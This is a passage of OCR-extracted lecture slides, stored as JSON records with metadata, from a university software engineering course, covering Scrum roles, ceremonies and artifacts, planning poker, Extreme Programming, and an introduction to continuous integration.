| "text": "SCRUM HAS BEEN USED BY: 23 Shares Teaching Scrum at Tesla, Talking with Silicon Valley Agile hip Network dAug30,2017 Blog7 comments Now, let's demystify some of these terms... During the week of the Tesla Model 3 Launch in Fremont,CA,Tesla Key elements of the Spotify model invited Scrum Inc.to host a Scrum Inc Scrum Master and Scrum Inc Product Owner course at the factory. On Wednesday,we had a tour at the production site in Elon Musk's personal golf cart. An awesome time The Spotify model is centered around simplicity. When was had by all! Spotify began organizing around their work, they identified -Salesforce.com a handful of important elements on how people and teams Time Warner should be structured. Turner Broadcasting n Squads .Oce Similar to a scrum team, Squads are cross-functional, autonomous teams (typically 6-12 individuals) that focus on one feature area. Each Squad has a unique mission that guides theW&tk they do, an agile coach for support, and a", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_014.png", |
| "page_index": 378, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:39+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-379-0000": { |
| "id": "CO3001-chapter-10-slide-379-0000", |
| "text": "SCRUM HAS BEEN USED FOR: Video game development Commercial software FDA-approved, life-critical In-house development systems Contract development Satellite-control software Fixed-price projects Websites Financial applications Handheld software IS0 9001-certified applications Mobile phones Embedded systems Network switching applications 24x7 systems with 99.999% ISV applications uptime requirements BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_015.png", |
| "page_index": 379, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:44+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-380-0000": { |
| "id": "CO3001-chapter-10-slide-380-0000", |
| "text": "HOW SCRUM WORKS https://www.youtube.com/watch?v=XJeaPyWOCaw nputs from Executives, Burndown/up Team,Stakeholders, Charts Customers, Users Daily Scrum Scrum Meeting Master Every 24 Hours mmm 1-4 Week Product Owner The Team Sprint Sprint Review 1 Team selects Task 2 starting at top Breakout Ranked 3 as muchas it listof what 4 can commit is required: 5 to deliver by Sprint end date and FinishedWork features, Sprint 6 teamdeliverable stories, ... end of Sprint Backlog do not change 7 8 Sprint Product Planning Backlog Meeting Sprint Retrospective BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_016.png", |
| "page_index": 380, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:52+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-381-0000": { |
| "id": "CO3001-chapter-10-slide-381-0000", |
| "text": "SCRUM FRAMEWORK Ceremonies Roles Artifacts Sprint planning Product owner -Product backlog Sprint review ScrumMaster Sprint backlog Sprint retrospective Team Burndown charts Daily s scrum meeting BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_017.png", |
| "page_index": 381, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:56+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-382-0000": { |
| "id": "CO3001-chapter-10-slide-382-0000", |
| "text": "SCRUM BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_018.png", |
| "page_index": 382, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:59+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-383-0000": { |
| "id": "CO3001-chapter-10-slide-383-0000", |
| "text": "SCRUM ROLES Roles -Product owner ScrumMaster Team BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_019.png", |
| "page_index": 383, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:01+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-384-0000": { |
| "id": "CO3001-chapter-10-slide-384-0000", |
| "text": "PRODUCT OWNER Define the features of the product Decide on release date and content Be responsible for the profitability of the product (ROl) Prioritize features according to market value Adjust features and priority every iteration, as needed Accept or reject work results BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_020.png", |
| "page_index": 384, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:04+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-385-0000": { |
| "id": "CO3001-chapter-10-slide-385-0000", |
| "text": "SCRUM MASTER Represents management to the project C Responsible for enacting Scrum values and practices Removes impediments Ensure that the team is fully functional and productive Enable close cooperation across all roles and functions Shield the team from external interferences BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_021.png", |
| "page_index": 385, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:08+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-386-0000": { |
| "id": "CO3001-chapter-10-slide-386-0000", |
| "text": "THE TEAM Typically 5-9 people Cross-functional: Programmers, testers, user experience designers, etc. Members should be full-time May be exceptions (e.g., database administrator) Teams are self-organizing ldeally, no titles but rarely a possibility Membership should change only between sprints BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_022.png", |
| "page_index": 386, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:11+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-387-0000": { |
| "id": "CO3001-chapter-10-slide-387-0000", |
| "text": "SCRUM CEREMONIES Ceremonies Sprint planning Sprint review Sprint retrospective Daily scrum meeting BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_023.png", |
| "page_index": 387, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:15+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-388-0000": { |
| "id": "CO3001-chapter-10-slide-388-0000", |
| "text": "SPRINT PLANNING Decide how to achieve sprint goal (design) Team selects items from the product backlog they can commit to completing Create sprint backlog (tasks) from product backlog items (user stories / features Estimate sprint backlog in hours. Tasks is estimated (1-16 hours) Collaboratively, not done alone by the ScrumMaster As a vacation planner, I want to see photos of the hotels. Code the middle tier (8 hours Code the user interface (4) Code the foo class (6) Update performance tests (4) BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_024.png", |
| "page_index": 388, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:19+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-389-0000": { |
| "id": "CO3001-chapter-10-slide-389-0000", |
| "text": "THE DAILY SCRUM l CYOUR VERSION: BI/WEEKLY SCRUM Daily, 15-minutes, stand-up Not for problem solving Moderated by a Scrum Master Three questions: What did you do yesterday? What will you do today? Is anything in your way? BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_025.png", |
| "page_index": 389, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:25+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-390-0000": { |
| "id": "CO3001-chapter-10-slide-390-0000", |
| "text": "THE SPRINT F REVIEW MEETING (OUR FORMAL SUPERVISION MEETING) Team presents what it accomplished during the sprint Typically takes the form of a demo of new features or underlying architecture Informal 2-hour prep time rule No slides Whole team participates Invite the world BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_026.png", |
| "page_index": 390, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:30+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-391-0000": { |
| "id": "CO3001-chapter-10-slide-391-0000", |
| "text": "SPRINT RETROSPECTIVE MEETINC Periodically take a look at what is and is not working Typically 15-30 minutes Done after every sprint Whole team participates Moderated by a Scrum Master Each team member is asked to identify specific things that the team should: Start doing Stop doing Sprint Retrospective Sprint Review Is about identifying areas of Is about demoing the work that Continue doing improvement to make the next was just completed sprint better. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_027.png", |
| "page_index": 391, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:34+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-392-0000": { |
| "id": "CO3001-chapter-10-slide-392-0000", |
| "text": "IN-CLASS EXERCIS: Reflect on tools, collaboration, teamwork, meetings, etc. you have done so far in the project. Perform the retrospective within your team: One team member act as a Scrum Master The Scrum master asks each team member about what he/ she will: Start doing Stop doing Continue doing BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_028.png", |
| "page_index": 392, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:39+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-393-0000": { |
| "id": "CO3001-chapter-10-slide-393-0000", |
| "text": "SCRUM ARTIEACTS Artifacts Product backlog .Sprint backlog Burndown charts BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_029.png", |
| "page_index": 393, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:41+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-394-0000": { |
| "id": "CO3001-chapter-10-slide-394-0000", |
| "text": "PRODUCT BACKLOG VS. SPRINT E BACKLOG Release Planning Iteration Planning Product Backlog Release Backlogs Iteration Backlogs BK TP.HCM 28.08.2023 www.synerzip.com", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_030.png", |
| "page_index": 394, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:45+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-395-0000": { |
| "id": "CO3001-chapter-10-slide-395-0000", |
| "text": "USER STORIES An informal, natural language description of one or more features of a software system A common pattern: As a <role> I can/ want <capability>, so that <receive benefit> BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_031.png", |
| "page_index": 395, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:49+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-396-0000": { |
| "id": "CO3001-chapter-10-slide-396-0000", |
| "text": "USER STORIES : IN SPRINT BACKLOG VS PRODUCT BACKLOC Product BackLog Sprint BackLog Level of detail Less detailed Very detailed Item User Story Task Estimation Units Story Points Hours Doc owner Product Owner Team Revised Weekly Daily Duration Project Sprint Product Backlog Iteration Backlog Workbook BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_032.png", |
| "page_index": 396, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:08:54+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-397-0000": { |
| "id": "CO3001-chapter-10-slide-397-0000", |
| "text": "EFFORT ESTIMATION In the beginning of the Sprint, we should be able to tell how long/ how costly it will take to accomplish User Story ABC \"I think it will take me five days full-time to finish the User Story ABC' \"This week I have a midterm exam, so I take me all together seven days... \"This User Story ABC might need 3000 Line of Codes... \"This User Story ABC will have 3 user interfaces... \" I would give it 5 out of 10 points in term of efforts needed\" 0 Many different approaches for estimation No estimation is perfect What is important is to have the consistent understanding about the effort/ complexity of the task/ the user story throughout the WHOLE team BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_033.png", |
| "page_index": 397, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:00+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-398-0000": { |
| "id": "CO3001-chapter-10-slide-398-0000", |
| "text": "PLANNING POKER O 1/2 1 2 3 5 AGILE AGILE AGILE AGILE AGILE AGILE 8 13 20 40 100 2 AGILE AGILE AGILE AGILE AGILE AGILE BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_034.png", |
| "page_index": 398, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:05+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-399-0000": { |
| "id": "CO3001-chapter-10-slide-399-0000", |
| "text": "PLANNING POKER For each user story, a team member can give a number 0, 1, 2, 3, 5, 8, 13, and 21 (A story estimated as a 2 should be about one fourth as difficult as a story estimated as an 8) O is the most simple/ easiest 1 21 is the most difficult/ most effort needed A moderator ask each member: Read aloud the number The team members with the lowest and highest estimates explain why they chose their scores Discuss until the team reach consensus on one number BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_035.png", |
| "page_index": 399, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:09+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-400-0000": { |
| "id": "CO3001-chapter-10-slide-400-0000", |
| "text": "BURNDOWN Tasks Mon Tues Wed Thur Fri CHART Code the user interface 8 4 8 Code the middle tier 16 12 10 Test the middle tier 16 16 11 Write online help 12 0 50 40 30 20 10 O Mon Tue Wed Thu Fri BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_036.png", |
| "page_index": 400, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:14+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-401-0000": { |
| "id": "CO3001-chapter-10-slide-401-0000", |
| "text": "SCRUM BENEFITS The product is broken down into a set of manageable and understandable chunks. Unstable requirements do not hold up progress. The whole team have visibility of everything and consequently team communication is improved. how the product works. Trust between customers and developers is established and a positive culture is created in which everyone expects the project to succeed. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_037.png", |
| "page_index": 401, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:19+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-402-0000": { |
| "id": "CO3001-chapter-10-slide-402-0000", |
| "text": "EXTREME PROGRAMMING Extreme Programming (XP) takes an 'extreme' approach to iterative development. . New versions may be built several times per day; Increments are delivered to customers every 2 weeks; All tests must be run for every build and the build is only accepted if tests run successfully Select user Break down stories for this Plan release stories to tasks release The XP release cycle Evaluate Release Develop/integrate/ system software test software BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_038.png", |
| "page_index": 402, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:24+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-403-0000": { |
| "id": "CO3001-chapter-11-slide-403-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CONTINUOUS INTEGRATION Anh Nguyen-Duc AND DELIVERY (CI/CD Tho Quan-Thanh WEEK 11 BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_001.png", |
| "page_index": 403, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:29+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-404-0000": { |
| "id": "CO3001-chapter-11-slide-404-0000", |
| "text": "OUTLINE Challenges of modern code development Code integration Continuous integration Continuous delivery DevOps BK 28.08.2023 CONIINUOUSINTEGRATIONAND DELIVERY 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_002.png", |
| "page_index": 404, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:32+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-405-0000": { |
| "id": "CO3001-chapter-11-slide-405-0000", |
| "text": "THE CHALLENGE: COMPLEXITY AND SIZE As the project grows, complexity grows: Physical code size Dependencies Number of developers Package versions Examples of well-known open source projects BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_003.png", |
| "page_index": 405, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:35+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-406-0000": { |
| "id": "CO3001-chapter-11-slide-406-0000", |
| "text": "THE CHALLENGE: COMPLEXITY AND SIZE Some notably large codebases include: Google: monolithic, 1 billion files, 9 million source code files, 2 billion lines of source code, 35 million commits in total, 86 TB total size (January 2015) Facebook: monolithic, 8 GB (repo 54 GB including history, 2014),[6] hundreds of thousands of files (2014 Linux kernel: distributed, over 15 million lines of code (as of 2013 and kernel version 3.10) BK 28.08.2023 CONTINUOUSINTEGRATION AND DELIVERY TP.HCM 4", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_004.png", |
| "page_index": 406, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:40+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-407-0000": { |
| "id": "CO3001-chapter-11-slide-407-0000", |
| "text": "Unique Monthly Contributors Top 5 Projects (by Cumulative Contributions since 2011) 3600 3200 microsoft/vscode facebook/react-native 2800 -tensorflow/tensorflow flutter/flutter 2400 kubernetes/kubernetes 2000 1600 1200 800 400 0 Feb-14 Aug-14 Feb-15 Aug-15 Feb-16 Aug-16 Feb-17 Aug-17 Feb-18 Aug-18 Feb-19 Aug-19 Feb-20 Aug-2 28.08.2023 Continuous Integration and Delivery 5", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_005.png", |
| "page_index": 407, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:45+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-408-0000": { |
| "id": "CO3001-chapter-11-slide-408-0000", |
| "text": "Example - Geant4 A framework for the simulation of the passage of particles through matter. . Used in HEP, medical and space physics Just under 2 million lines of code Mostly C++ 4M January 2016 Code:1,883.733 Comments:774.923 Blanks:416.224 LOC 2M OM 2000 2002 2004 2006 2008 2010 2012 2014 2016 28.08.2023 Continuous Integration and Delivery 6", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_006.png", |
| "page_index": 408, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:49+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-409-0000": { |
| "id": "CO3001-chapter-11-slide-409-0000", |
| "text": "Example - Geant4 40 MM # of contributors AMAM pen HUB 0 2000 2005 2010 2015 537 person-years Estimated cost: £29 million 58,683 commits from 160 developers 28.08.2023 Continuous Integration and Delivery 7", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_007.png", |
| "page_index": 409, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:54+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-410-0000": { |
| "id": "CO3001-chapter-11-slide-410-0000", |
| "text": "Codebases 10 28.08.2023 Continuous Integration and Delivery", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_008.png", |
| "page_index": 410, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:09:57+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-411-0000": { |
| "id": "CO3001-chapter-11-slide-411-0000", |
| "text": "THE CHALLENGE WHEN YOU HEAR THIS: gyed 8 yaa6 How do we handle increasing code-base sizes? How do we handle an increasing number of developers? - How can developers interact with each other? How do we build across multiple platforms? YESTERDAY IT WORKED How do we build multiple versions? How can we make sure we don't break things! YOU KNOW YOU'REIN A SOFTWARE PROJECT BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_009.png", |
| "page_index": 411, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:01+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-412-0000": { |
| "id": "CO3001-chapter-11-slide-412-0000", |
| "text": "WHAT IS INTEGRATION? Software teams often have multiple developers working on the same codebase at the same time(independently): - E.g. Developer A works on feature 1 while developer B works on feature 2. . E.g. Developer A works on class 123.java while developer B works on class 456.java Once they have finished, they needs to integrate their work into the main codebase. \"I can't compile the program if you're in the middle of typing a variable name BK 28.08.2023 https://martinfowler.com/articles/branching-patterns.ktmi#intégration-patterns ONTINUCUS.INTEGE TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_010.png", |
| "page_index": 412, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:06+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-413-0000": { |
| "id": "CO3001-chapter-11-slide-413-0000", |
| "text": "-classifier TERMINOLOGY Pull requests Actions Projects M Wiki Security W Insights Settings main 9 3 branches Q 3 tags Go to file Add file Code Integration dependabot Bumplodash from 4.17.19 to 4.17.20 50e728c 13 minutes ago 26 commits assets Support Octocats shared on Twitter 2 minutes ago Repository tests Support Octocats shared on Twitter 2 minutes ago LICENSE Init to win it 2 minutes ago Pull vs. push README.md Updated README.md 2 minutes ago indev ic Createdindevic 2 minutec aan Software Version Ver 1.4 Ver 1.3 Ver Ver Ver Ver Ver 1.3.1 1.3.2 1.0 1.1 1.2 Ver PUSH PULL Ver 2.0 2.1", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_011.png", |
| "page_index": 413, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:14+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-414-0000": { |
| "id": "CO3001-chapter-11-slide-414-0000", |
| "text": "Mainline integration:Developers integrate their work by pulling from mainline, merging, and - if healthy - pushing back into mainline Scarlett's repo Mainline Scarlett's repo Mainline Viollet makes some changes! Scarlett's repo Mainline 28.08.2023 Continuous Integration and Delivery 12", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_012.png", |
| "page_index": 414, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:19+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-415-0000": { |
| "id": "CO3001-chapter-11-slide-415-0000", |
| "text": "Mainline integration:Developers integrate their work by pulling from mainline, merging, and - if healthy - pushing back into mainline Scarlett's repo A successful merge Mainline Scarlett's repo Mainline 28.08.2023 Continuous Integration and Delivery 13", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_013.png", |
| "page_index": 415, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:22+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-416-0000": { |
| "id": "CO3001-chapter-11-slide-416-0000", |
| "text": "INTEGRATION FREQUENCY Elite development teams integrate notably more often than low performers Low-Frequency Integration S1-3 Scarlett's repo S1 S3 S4 S5 S1-5 M1 Mainline M1 M1 S1-5 V1-6 Violet's repo K 14 15 V6 V1-3 V1-6 conflictpresent BK 28.08.2023 https://martinfowler.com/articles/branching-patterns.Rtmi#integr&tion-patterns .ONTINUO'US.INIEGE TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_014.png", |
| "page_index": 416, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:28+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-417-0000": { |
| "id": "CO3001-chapter-11-slide-417-0000", |
| "text": "INTEGRATION FREQUENCY Elite development teams integrate notably more often than low performers Hig S1 S3 Scarlett's S1 s2 S3 S4 S5 repo S2 S3 S1 S4 M1 S5 V2 V3 V4-5 Mainline M1 S3 S1-2 S4 S5 M1 4 V5 V6 Violet's V2 V3 repo V1 V2 V3 V4 V5 V6 V2 V3 conflict present BK 28.08.2023 https://martinfowler.com/articles/branching-patterns.Rtmi#intégr&tion-patterns ONTINUO'US.INIEG TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_015.png", |
| "page_index": 417, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
